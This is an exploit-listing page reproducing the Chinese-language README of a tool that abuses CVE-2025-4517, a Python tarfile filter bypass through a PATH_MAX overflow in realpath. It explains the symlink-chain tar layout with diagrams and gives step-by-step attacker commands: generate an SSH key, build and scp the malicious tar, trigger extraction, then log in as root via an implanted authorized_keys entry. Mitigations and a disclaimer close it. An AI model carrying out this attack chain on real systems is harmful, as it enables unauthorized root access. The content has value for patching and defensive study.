Sploitus

Exploit for CVE-2025-4517-tarfile-PATH_MAX-bypass

kitploit · 2026-08-31

Exploit Code

MARKDOWN264 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XDTC-CVE-2025-4517-TARFILE-PATH_MAX-BYPASS
# CVE-2025-4517 / CVE-2025-4330 — Python `tarfile` 数据过滤器绕过(通过 PATH_MAX 溢出)

**作者:** 0xDTC **CVE 编号:** CVE-2025-4517 / CVE-2025-4330 **安全通告:** GHSA-6r6c-684h-9j7p **CPython 修复:** PR #135037

## 概述

Python 的 `tarfile.extractall(filter="data")` 本应通过阻止路径遍历(绝对路径、`..` 序列以及逃逸出目标目录的符号链接)来安全地提取 tar 归档。然而,`os.path.realpath(strict=False)` 中的一个 bug 使得该过滤器完全失效。

当解析后的路径超过 **PATH_MAX** (Linux 上为 4096 字节)时,`os.path.realpath()` 会静默停止解析符号链接,并回退到 **字符串操作** 。这意味着精心构造的符号链接链可以欺骗 Python,使其认为某个符号链接解析后位于提取目录内部,而实际上它已逃逸到 `/`。

### 受影响版本

分支| 受影响版本| 修复版本  
---|---|---  
3.12.x| 3.12.0 – 3.12.10| 3.12.11  
3.13.x| 3.13.0 – 3.13.3| 3.13.4  
3.14.x| 3.14.0a1 – 3.14.0a7| 3.14.0b1  
  
## 工作原理

该漏洞利用构建一个包含以下内容的 tar 归档:

  1. **16 个目录/符号链接对** — 每个目录有一个约 240 字符的名称,以及一个指向它的短符号链接(1 字符)
  2. **一个 254 字符的逃逸符号链接** — 放置在短链的末尾,指回 16 层
  3. **一个“逃逸”符号链接** — 穿过该链并超过 PATH_MAX,欺骗 `realpath`
  4. **一个普通文件** — 通过逃逸符号链接写入提取目录外部的任意位置



核心思路:沿着 `a/b/c/.../p` 跟随短符号链接时路径长度保持在 PATH_MAX 以下,但 `realpath` 会将每个符号链接展开为约 240 字符的真实目录名。当它到达 254 字符的链接名时,解析后的路径超过 4096 字节,`realpath` 放弃——静默返回一个错误结果。

## 数据流图

root@kitploit:~
    
    
    flowchart TD
        A["Attacker crafts malicious tar"] --> B["tar contains:
        16 dir/symlink pairs
        254-char escape symlink
        'escape' symlink to /
        payload file"]
    
        B --> C["Target extracts with
        tarfile.extractall(filter='data')"]
    
        C --> D{"Python resolves symlinks
        via os.path.realpath()"}
    
        D --> E["Follows short symlinks a→ddd...d
        Resolved path grows with each step"]
    
        E --> F{"Resolved path length
        > PATH_MAX (4096)?"}
    
        F -->|"No (normal)"| G["realpath correctly resolves
        Symlink blocked by filter ✓"]
    
        F -->|"Yes (overflow!)"| H["realpath STOPS resolving
        Falls back to string manipulation"]
    
        H --> I["Python thinks symlink
        resolves INSIDE extraction dir"]
    
        I --> J["Filter PASSES the symlink ✗"]
    
        J --> K["OS follows symlink correctly
        'escape' resolves to /"]
    
        K --> L["Payload written to
        arbitrary file on disk"]
    
        style F fill:#ff6b6b,color:#fff
        style H fill:#ff6b6b,color:#fff
        style J fill:#ff6b6b,color:#fff
        style L fill:#ff6b6b,color:#fff
        style G fill:#51cf66,color:#fff

## 攻击序列

root@kitploit:~
    
    
    sequenceDiagram
        participant A as Attacker Machine
        participant T as Target Machine
    
        Note over A: Phase 1 — Preparation
        A->>A: Generate SSH keypair (ssh-keygen)
        A->>A: Configure exploit variables<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
        A->>A: Run CVE-2025-4517.py or .go<br/>to generate malicious tar
    
        Note over A,T: Phase 2 — Delivery
        A->>T: Transfer malicious tar to target<br/>(scp, wget, curl, ftp, etc.)
        T->>T: Place tar in location accessible<br/>to the vulnerable script
    
        Note over T: Phase 3 — Exploitation
        T->>T: Trigger extraction via the<br/>vulnerable Python script
        T->>T: Python calls tarfile.extractall(filter="data")
    
        Note over T: What Python sees vs reality
        T->>T: realpath() overflows at PATH_MAX
        T->>T: Filter thinks "escape" symlink is safe
        T->>T: OS follows "escape" → resolves to /
        T->>T: Payload written to /root/.ssh/authorized_keys
    
        Note over A,T: Phase 4 — Access
        A->>T: SSH as root using the written key
        T-->>A: Root shell obtained

## Tar 归档结构

root@kitploit:~
    
    
    graph LR
        subgraph "Tar Members (extracted in order)"
            D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
            D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
            D3["📁 ...16 levels..."] --> S3["🔗 .../p → ddd...d"]
            S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
            S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
            F1["📄 escape/root/.ssh/authorized_keys<br/>(payload content)"]
        end
    
        S1 -.->|"short path<br/>stays small"| S2
        S2 -.-> S3
        S3 -.-> S4
        S4 -.->|"254 chars pushes<br/>past PATH_MAX"| S5
        S5 -.->|"resolves to /"| F1

## 使用方法

### 配置

两个脚本顶部都有一个配置区域,包含以下变量:

### 攻击者机器

**选项 A: Python**

root@kitploit:~
    
    
    # 1. Generate SSH keypair
    ssh-keygen -t ed25519 -f root_key -N ''
    
    # 2. Edit CVE-2025-4517.py — update DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT
    
    # 3. Generate the malicious tar
    python3 CVE-2025-4517.py
    
    # 4. Transfer to target
    scp backup_99.tar user@target:/path/to/backups/
    

**选项 B: Go**

root@kitploit:~
    
    
    # 1. Generate SSH keypair
    ssh-keygen -t ed25519 -f root_key -N ''
    
    # 2. Edit CVE-2025-4517.go — update destDir, depthToRoot, payload, output
    
    # 3. Generate the malicious tar
    go run CVE-2025-4517.go
    
    # 4. Transfer to target
    scp backup_99.tar user@target:/path/to/backups/
    

### 目标机器

root@kitploit:~
    
    
    # Trigger extraction via the vulnerable Python script
    # The exact command depends on how the target script is invoked
    # Example:
    sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
    

### 利用后操作

root@kitploit:~
    
    
    # SSH as root using the planted key
    ssh -i root_key root@target
    

## 计算 DEPTH_TO_ROOT

统计从 `/` 到你的提取路径的目录层级数:

root@kitploit:~
    
    
    /tmp/staging/extract_dir/
     (1)   (2)     (3)
    
    DEPTH_TO_ROOT = 3
    

root@kitploit:~
    
    
    /var/lib/app/data/staging/
     (1) (2)  (3) (4)   (5)
    
    DEPTH_TO_ROOT = 5
    

root@kitploit:~
    
    
    /opt/restore/backups/output_dir/
     (1)   (2)     (3)      (4)
    
    DEPTH_TO_ROOT = 4
    

## 漏洞代码模式

任何在受影响版本上使用 `tarfile.extractall()` 且带有 `filter="data"` 的 Python 脚本都可能被利用:

root@kitploit:~
    
    
    import tarfile
    
    with tarfile.open("archive.tar", "r") as tar:
        tar.extractall(path="/some/directory", filter="data")  # VULNERABLE
    

`filter="data"` 最初被引入作为安全措施,以防止 tar 路径遍历攻击。具有讽刺意味的是,漏洞正存在于过滤器用于验证符号链接目标的机制(`os.path.realpath`)中。

## 缓解措施

  * **升级 Python** 至 3.12.11+、3.13.4+ 或 3.14.0b1+
  * **避免提取不受信任的 tar 归档** ,无论过滤器设置如何
  * **在提取后对提取的文件路径进行额外验证**



## 参考资料

  * CVE-2025-4517 - NVD
  * CVE-2025-4330 - Wiz Vulnerability Database
  * GHSA-6r6c-684h-9j7p - GitHub Advisory
  * CPython PR #135037 - Fix



## 免责声明

此工具仅用于**授权的安全测试、教育目的和研究** 。请仅在你拥有或获得明确书面许可的系统上使用。未经授权访问计算机系统是违法的。作者不对任何滥用此工具的行为负责。

## 许可证

MIT